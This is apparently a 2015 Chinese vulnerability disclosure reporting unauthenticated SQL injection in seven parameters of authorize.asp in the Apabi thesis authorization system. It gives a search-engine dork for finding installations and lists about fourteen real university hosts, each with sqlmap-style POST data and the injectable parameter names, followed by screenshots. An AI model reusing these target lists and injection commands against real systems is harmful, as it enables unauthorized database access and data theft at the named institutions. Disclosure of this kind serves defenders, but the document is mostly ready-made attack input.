某高校在用系统sql注入（7处打包）（DBA）（无需登录）

### 简要描述： RT ### 详细说明： Apabi论文授权提交系统 版权所有© 北京方正阿帕比技术有限公司 谷歌搜索：论文授权提交系统 北京大学复旦大学什么的都在其中~ [<img src="https://images.seebug.org/upload/201502/060814241c327099951e4c60760c02105295ae87.png" alt="屏幕截图(666).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/060814241c327099951e4c60760c02105295ae87.png) 漏洞文件authorize.asp 里的txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate 随便来几个案例 202.116.50.25/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 210.44.126.14/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.195.243.37/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.120.121.200/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" pss.uestc.edu.cn/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.203.222.222/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 218.242.146.229/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.193.70.164/TASi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.120.227.60/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 59.72.151.17:8000/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.197.127.125/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 218.199.187.117:8080/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 202.119.83.2/apatasi30/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" 218.242.146.229/tasi/admin/authorize/authorize.asp?action=querylist --data "txtStuName=l&txtStuNo=&cboCollege=&cboDegreeType=0&cboSubjectClass=&cboSubject=&txtMajor=&inputStartDate=&inputEndDate=&authorize=-1&public=-1" -p "txtStuName,txtStuNo,cboCollege,cboSubjectClass,txtMajor,inputStartDate,inputEndDate" [<img src="https://images.seebug.org/upload/201502/06081545cda290246ab8f994a19afecad0e6cb61.png" alt="屏幕截图(795).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/06081545cda290246ab8f994a19afecad0e6cb61.png) [<img src="https://images.seebug.org/upload/201502/0608155862328a2c10c14dc944da2dc82c9f3597.png" alt="屏幕截图(796).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0608155862328a2c10c14dc944da2dc82c9f3597.png) [<img src="https://images.seebug.org/upload/201502/060816094217dc34a12b6aa776b885c529561d2d.png" alt="屏幕截图(797).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/060816094217dc34a12b6aa776b885c529561d2d.png) [<img src="https://images.seebug.org/upload/201502/06081643ba2adfcf50b9ffda4c91ee19713f44ea.png" alt="屏幕截图(798).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/06081643ba2adfcf50b9ffda4c91ee19713f44ea.png) [<img src="https://images.seebug.org/upload/201502/06081656bf3c41c0db554a112cbebb61b0da8bf3.png" alt="屏幕截图(799).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/06081656bf3c41c0db554a112cbebb61b0da8bf3.png) [<img src="https://images.seebug.org/upload/201502/0608170779cce95e6c571c62d91e8b5a1522a99d.png" alt="屏幕截图(800).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0608170779cce95e6c571c62d91e8b5a1522a99d.png) [<img src="https://images.seebug.org/upload/201502/06081717564a8d08d4fc6117767b52667b3742c3.png" alt="屏幕截图(801).png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/06081717564a8d08d4fc6117767b52667b3742c3.png) ### 漏洞证明： --